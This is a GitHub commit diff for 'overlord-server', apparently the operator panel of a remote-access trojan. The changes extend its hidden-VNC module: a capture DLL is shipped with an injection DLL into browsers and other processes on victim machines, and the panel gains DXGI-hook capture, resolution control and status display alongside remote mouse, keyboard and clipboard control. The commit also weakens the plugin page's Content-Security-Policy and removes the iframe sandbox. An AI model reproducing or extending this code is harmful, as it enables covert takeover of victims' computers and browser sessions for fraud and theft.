Merge branch 'vxaboveground:main' into main

This commit is contained in:
Ayesha Mitzcov
2026-04-16 21:54:11 +01:00
committed by GitHub
53 changed files with 6493 additions and 278 deletions
+1 -1
View File
@@ -1,6 +1,6 @@
{
"name": "overlord-server",
"version": "1.8.4",
"version": "1.8.6",
"private": true,
"type": "module",
"scripts": {
+61 -5
View File
@@ -58,7 +58,6 @@ import { checkFeatureAccess } from "./feature-gate.js";
const fullscreenBtn = document.getElementById("fullscreenBtn");
const mouseCtrl = document.getElementById("mouseCtrl");
const kbdCtrl = document.getElementById("kbdCtrl");
const cursorCtrl = document.getElementById("cursorCtrl");
const autoExplorerCtrl = document.getElementById("autoExplorerCtrl");
const qualitySlider = document.getElementById("qualitySlider");
const qualityValue = document.getElementById("qualityValue");
@@ -72,11 +71,14 @@ import { checkFeatureAccess } from "./feature-gate.js";
const viewerFps = document.getElementById("viewerFps");
const statusEl = document.getElementById("streamStatus");
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
const dxgiCtrl = document.getElementById("dxgiCtrl");
const hvncResolutionSelect = document.getElementById("hvncResolutionSelect");
function syncInputEnableState() {
if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
if (kbdCtrl) sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
if (cursorCtrl) sendCmd("hvnc_enable_cursor", { enabled: cursorCtrl.checked });
if (dxgiCtrl) sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked });
pushHvncResolution();
}
let activeClientId = clientId;
let renderCount = 0;
@@ -344,6 +346,38 @@ import { checkFeatureAccess } from "./feature-gate.js";
cloneProgressLabel.textContent = `Cloning ${browser} — ${copiedMB} / ${totalMB} MB`;
}
const dxgiStatusEl = document.getElementById("dxgiStatus");
const dxgiStatusIcon = document.getElementById("dxgiStatusIcon");
const dxgiStatusLabel = document.getElementById("dxgiStatusLabel");
let dxgiHideTimer = null;
function handleDXGIStatus(msg) {
if (!dxgiStatusEl) return;
if (dxgiHideTimer) {
clearTimeout(dxgiHideTimer);
dxgiHideTimer = null;
}
dxgiStatusEl.classList.remove("hidden");
dxgiStatusEl.classList.add("flex");
if (msg.success) {
dxgiStatusIcon.className = "fa-solid fa-microchip text-emerald-400";
dxgiStatusLabel.textContent = msg.message || "DXGI active";
dxgiStatusLabel.className = "text-emerald-300";
dxgiHideTimer = setTimeout(() => {
dxgiStatusEl.classList.add("hidden");
dxgiStatusEl.classList.remove("flex");
}, 8000);
} else {
dxgiStatusIcon.className = "fa-solid fa-microchip text-rose-400";
dxgiStatusLabel.textContent = msg.message || "DXGI failed";
dxgiStatusLabel.className = "text-rose-300";
dxgiHideTimer = setTimeout(() => {
dxgiStatusEl.classList.add("hidden");
dxgiStatusEl.classList.remove("flex");
}, 10000);
}
}
function sendCmd(type, payload) {
if (!activeClientId) {
console.warn("No active client selected");
@@ -558,9 +592,23 @@ import { checkFeatureAccess } from "./feature-gate.js";
kbdCtrl.addEventListener("change", function () {
sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
});
cursorCtrl.addEventListener("change", function () {
sendCmd("hvnc_enable_cursor", { enabled: cursorCtrl.checked });
});
if (dxgiCtrl) {
dxgiCtrl.addEventListener("change", function () {
sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked });
});
}
function pushHvncResolution() {
if (hvncResolutionSelect) {
const maxHeight = parseInt(hvncResolutionSelect.value, 10);
sendCmd("hvnc_set_resolution", { maxHeight: maxHeight });
}
}
if (hvncResolutionSelect) {
hvncResolutionSelect.addEventListener("change", function () {
pushHvncResolution();
});
}
if (qualitySlider) {
updateQualityLabel(qualitySlider.value);
@@ -705,6 +753,10 @@ import { checkFeatureAccess } from "./feature-gate.js";
handleLookupResult(msg);
return;
}
if (msg && msg.type === "hvnc_dxgi_status") {
handleDXGIStatus(msg);
return;
}
if (msg && msg.type === "hvnc_error") {
console.error("hvnc: server error:", msg.error || msg.message);
return;
@@ -732,6 +784,10 @@ import { checkFeatureAccess } from "./feature-gate.js";
handleLookupResult(msg);
return;
}
if (msg && msg.type === "hvnc_dxgi_status") {
handleDXGIStatus(msg);
return;
}
if (msg && msg.type === "hvnc_error") {
console.error("hvnc: server error:", msg.error || msg.message);
return;
+20 -3
View File
@@ -100,6 +100,13 @@
</div>
<span id="cloneProgressPct" class="pill pill-ghost font-mono text-violet-200 min-w-[3ch] text-right">0%</span>
</div>
<div
id="dxgiStatus"
class="hidden items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm"
>
<i id="dxgiStatusIcon" class="fa-solid fa-microchip text-emerald-400"></i>
<span id="dxgiStatusLabel">DXGI</span>
</div>
<div
class="flex items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
>
@@ -128,12 +135,22 @@
<label class="flex items-center gap-2 text-sm text-slate-200"
><input type="checkbox" id="kbdCtrl" /> Keyboard</label
>
<label class="flex items-center gap-2 text-sm text-slate-200" title="Show mouse cursor in captured frames"
><input type="checkbox" id="cursorCtrl" /> Cursor</label
>
<label class="flex items-center gap-2 text-sm text-slate-200" title="Sync clipboard between your browser and the remote machine"
><input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync</label
>
<label class="flex items-center gap-2 text-sm text-slate-200" title="Use DXGI Present hook for faster capture (requires injected process)"
><input type="checkbox" id="dxgiCtrl" checked /> DXGI Capture</label
>
<label for="hvncResolutionSelect" class="text-sm text-slate-200">Resolution</label>
<select
id="hvncResolutionSelect"
class="bg-slate-800 border border-slate-700 rounded px-2 py-1 text-slate-100 text-sm"
>
<option value="720">720p</option>
<option value="1080" selected>1080p</option>
<option value="1440">1440p</option>
<option value="-1">Native</option>
</select>
</div>
</div>
+3 -2
View File
@@ -39,7 +39,7 @@ import { isAuthorizedAgentRequest } from "./server/agent-auth";
import { generateBuildMutex, sanitizeMutex, sanitizeOutputName } from "./server/build-utils";
import { detectUploadOs, normalizeClientOs, type DeployOs } from "./server/deploy-utils";
import { CORS_HEADERS } from "./server/http-security";
import { mimeType, secureHeaders, securePluginHeaders } from "./server/http-utils";
import { mimeType, secureHeaders } from "./server/http-utils";
import { sanitizePluginId } from "./server/plugin-utils";
import { dispatchAutoScriptsForConnection } from "./server/auto-script-dispatch";
import { dispatchAutoDeploysForConnection } from "./server/auto-deploy-dispatch";
@@ -87,6 +87,7 @@ import {
handleWebcamDevices,
handleHVNCCloneProgress,
handleHVNCLookupResult,
handleHVNCDXGIStatus,
handleClipboardContent,
handleRemoteDesktopViewerMessage,
handleRemoteDesktopViewerOpen,
@@ -421,7 +422,6 @@ async function startServer() {
enqueuePluginEvent: notificationPluginHandlers.enqueuePluginEvent,
drainPluginUIEvents: notificationPluginHandlers.drainPluginUIEvents,
secureHeaders,
securePluginHeaders,
mimeType,
},
fileShare: {
@@ -606,6 +606,7 @@ async function startServer() {
handleWebcamDevices,
handleHVNCCloneProgress,
handleHVNCLookupResult,
handleHVNCDXGIStatus,
handleClipboardContent,
cleanupVoiceViewer,
stopConsoleOnTarget,
+1 -1
View File
@@ -11,7 +11,7 @@ export function securePluginHeaders() {
return {
...SECURITY_HEADERS,
"X-Frame-Options": "SAMEORIGIN",
"Content-Security-Policy": "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'none'; object-src 'none'; base-uri 'self'; frame-ancestors 'self'",
"Content-Security-Policy": "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self' wss: ws:; object-src 'none'; base-uri 'self'; frame-ancestors 'self'",
};
}
@@ -46,7 +46,6 @@ type PluginRouteDeps = {
enqueuePluginEvent: (clientId: string, pluginId: string, event: string, payload: any) => void;
drainPluginUIEvents: (clientId: string, pluginId: string) => Array<{ event: string; payload: any }>;
secureHeaders: (contentType?: string) => Record<string, string>;
securePluginHeaders: () => Record<string, string>;
mimeType: (path: string) => string;
};
@@ -715,7 +714,6 @@ export async function handlePluginRoutes(
const raw = await file.text();
const baseTag = `<base href="/plugins/${pluginId}/assets/" />`;
const bridgeTag = `<script src="/assets/plugin-bridge.js"></script>`;
let injected = raw;
const headMatch = raw.match(/<head[^>]*>/i);
@@ -723,16 +721,8 @@ export async function handlePluginRoutes(
injected = raw.replace(headMatch[0], `${headMatch[0]}\n ${baseTag}`);
}
if (injected.includes("</head>")) {
injected = injected.replace("</head>", ` ${bridgeTag}\n </head>`);
} else if (injected.includes("</body>")) {
injected = injected.replace("</body>", ` ${bridgeTag}\n</body>`);
} else {
injected = `${bridgeTag}\n${injected}`;
}
return new Response(injected, {
headers: { ...deps.securePluginHeaders(), "Content-Type": "text/html; charset=utf-8" },
headers: deps.secureHeaders("text/html; charset=utf-8"),
});
}
@@ -746,9 +736,33 @@ export async function handlePluginRoutes(
}
const clientId = url.searchParams.get("clientId") || "";
const bridgeToken = uuidv4();
const origin = url.origin;
const iframeSrc = `/plugins/${pluginId}/frame?clientId=${encodeURIComponent(clientId)}&token=${encodeURIComponent(bridgeToken)}&origin=${encodeURIComponent(origin)}`;
const htmlFile = path.join(deps.PLUGIN_ROOT, pluginId, "assets", `${pluginId}.html`);
const file = Bun.file(htmlFile);
let pluginBody = "";
let pluginHeadExtras = "";
if (await file.exists()) {
const raw = await file.text();
const bodyMatch = raw.match(/<body[^>]*>([\s\S]*?)<\/body>/i);
pluginBody = bodyMatch ? bodyMatch[1] : raw;
const headMatch = raw.match(/<head[^>]*>([\s\S]*?)<\/head>/i);
if (headMatch) {
const headContent = headMatch[1];
const linkTags = headContent.match(/<link[^>]*>/gi) || [];
const styleTags = headContent.match(/<style[\s\S]*?<\/style>/gi) || [];
pluginHeadExtras = [...linkTags, ...styleTags]
.map((tag) =>
tag.replace(/href="(?!https?:\/\/|\/)/g, `href="/plugins/${pluginId}/assets/`),
)
.join("\n ");
}
}
const jsFile = Bun.file(path.join(deps.PLUGIN_ROOT, pluginId, "assets", `${pluginId}.js`));
const hasPluginJs = await jsFile.exists();
const html = `<!doctype html>
<html lang="en">
@@ -771,27 +785,19 @@ export async function handlePluginRoutes(
/>
<link rel="stylesheet" href="/assets/main.css" />
<link rel="stylesheet" href="/assets/custom.css" />
${pluginHeadExtras}
</head>
<body class="min-h-screen bg-slate-950 text-slate-100">
<header id="top-nav"></header>
<main class="px-5 py-6">
<div class="max-w-6xl mx-auto">
<div class="rounded-2xl border border-slate-800 bg-slate-900/50 overflow-hidden">
<iframe
id="plugin-frame"
src="${iframeSrc}"
sandbox="allow-scripts allow-same-origin"
class="w-full h-[calc(100vh-220px)] bg-slate-950"
></iframe>
<div id="plugin-container" class="rounded-2xl border border-slate-800 bg-slate-900/50 overflow-hidden p-4">
${pluginBody}
</div>
</div>
</main>
<div
id="plugin-host"
data-bridge-token="${bridgeToken}"
></div>
<script type="module" src="/assets/nav.js"></script>
<script src="/assets/plugin-host.js"></script>
${hasPluginJs ? `<script src="/plugins/${pluginId}/assets/${pluginId}.js"></script>` : ""}
</body>
</html>`;
@@ -82,6 +82,7 @@ type WsLifecycleDeps = {
handleWebcamDevices: (clientId: string, payload: any) => void;
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
handleHVNCLookupResult: (clientId: string, payload: any) => void;
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
handleClipboardContent: (clientId: string, payload: any) => void;
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
@@ -586,6 +587,9 @@ export async function handleWebSocketMessage(
case "hvnc_lookup_result":
deps.handleHVNCLookupResult(client.id, payload);
break;
case "hvnc_dxgi_status":
deps.handleHVNCDXGIStatus(client.id, payload);
break;
case "clipboard_content":
deps.handleClipboardContent(client.id, payload);
break;
@@ -17,6 +17,10 @@ let _cachedInjectionDll: Uint8Array | null = null;
let _dllCachePath: string | null = null;
let _dllCacheMtimeMs: number = 0;
let _cachedCaptureDll: Uint8Array | null = null;
let _captureDllCachePath: string | null = null;
let _captureDllCacheMtimeMs: number = 0;
function getInjectionDllBytes(): Uint8Array | null {
const runtimeRoot = resolveRuntimeRoot();
const candidates = [
@@ -61,6 +65,49 @@ function getInjectionDllBytes(): Uint8Array | null {
return null;
}
function getCaptureDllBytes(): Uint8Array | null {
const runtimeRoot = resolveRuntimeRoot();
const candidates = [
path.resolve(runtimeRoot, "dist-clients", "HVNCCapture.x64.dll"),
path.resolve(process.cwd(), "dist-clients", "HVNCCapture.x64.dll"),
path.resolve(import.meta.dir, "../../dist-clients/HVNCCapture.x64.dll"),
];
if (_captureDllCachePath) {
try {
const { statSync } = require("fs");
const st = statSync(_captureDllCachePath);
if (st.mtimeMs === _captureDllCacheMtimeMs && _cachedCaptureDll) {
return _cachedCaptureDll;
}
_cachedCaptureDll = new Uint8Array(readFileSync(_captureDllCachePath));
_captureDllCacheMtimeMs = st.mtimeMs;
logger.info(`[hvnc] reloaded capture DLL from ${_captureDllCachePath} (${_cachedCaptureDll.length} bytes)`);
return _cachedCaptureDll;
} catch {
_captureDllCachePath = null;
_cachedCaptureDll = null;
}
}
for (const dllPath of candidates) {
if (!existsSync(dllPath)) continue;
try {
const { statSync } = require("fs");
const st = statSync(dllPath);
_cachedCaptureDll = new Uint8Array(readFileSync(dllPath));
_captureDllCachePath = dllPath;
_captureDllCacheMtimeMs = st.mtimeMs;
logger.info(`[hvnc] loaded capture DLL from ${dllPath} (${_cachedCaptureDll.length} bytes)`);
return _cachedCaptureDll;
} catch {
continue;
}
}
return null;
}
function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null {
if (typeof raw === "string") {
try {
@@ -563,6 +610,17 @@ export function handleHVNCLookupResult(clientId: string, payload: any) {
}
}
export function handleHVNCDXGIStatus(clientId: string, payload: any) {
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
type: "hvnc_dxgi_status",
success: !!payload.success,
gpuPid: Number(payload.gpuPid) || 0,
message: String(payload.message || ""),
});
}
}
export function handleClipboardContent(clientId: string, payload: any) {
const text = String(payload.text || "");
const source = String(payload.source || "");
@@ -757,6 +815,14 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
case "hvnc_enable_cursor":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_cursor", { enabled: !!payload.enabled });
break;
case "hvnc_enable_dxgi":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_dxgi", { enabled: !!payload.enabled });
break;
case "hvnc_set_resolution": {
const maxHeight = Number(payload.maxHeight) || 0;
if (state.isStreaming) sendHVNCCommand(target, "hvnc_set_resolution", { maxHeight });
break;
}
case "hvnc_mouse_move":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_move", { x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
break;
@@ -799,12 +865,15 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
break;
}
sendHVNCCommand(target, "hvnc_start_process_injected", {
const captureDll = getCaptureDllBytes();
const cmdPayload: Record<string, any> = {
path: String(payload.path || ""),
search_path: String(payload.search_path || ""),
replace_path: String(payload.replace_path || ""),
dll: dllData,
});
};
if (captureDll) cmdPayload.capture_dll = captureDll;
sendHVNCCommand(target, "hvnc_start_process_injected", cmdPayload);
break;
}
case "hvnc_start_chrome_injected": {
@@ -814,10 +883,13 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
break;
}
sendHVNCCommand(target, "hvnc_start_chrome_injected", {
const captureDllChrome = getCaptureDllBytes();
const chromeCmdPayload: Record<string, any> = {
path: String(payload.path || ""),
dll: dllData,
});
};
if (captureDllChrome) chromeCmdPayload.capture_dll = captureDllChrome;
sendHVNCCommand(target, "hvnc_start_chrome_injected", chromeCmdPayload);
break;
}
case "hvnc_start_browser_injected": {
@@ -827,14 +899,17 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
break;
}
sendHVNCCommand(target, "hvnc_start_browser_injected", {
const captureDllBrowser = getCaptureDllBytes();
const browserCmdPayload: Record<string, any> = {
browser: String(payload.browser || ""),
path: String(payload.path || ""),
clone: payload.clone !== false,
cloneLite: payload.cloneLite === true,
killIfRunning: payload.killIfRunning === true,
dll: dllData,
});
};
if (captureDllBrowser) browserCmdPayload.capture_dll = captureDllBrowser;
sendHVNCCommand(target, "hvnc_start_browser_injected", browserCmdPayload);
break;
}
case "clipboard_sync": {
+1 -1
View File
@@ -1 +1 @@
export const SERVER_VERSION = "1.8.4";
export const SERVER_VERSION = "1.8.6";
+1
View File
@@ -29,6 +29,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
"webcam_devices",
"hvnc_clone_progress",
"hvnc_lookup_result",
"hvnc_dxgi_status",
"clipboard_content",
"proxy_data",
"proxy_close",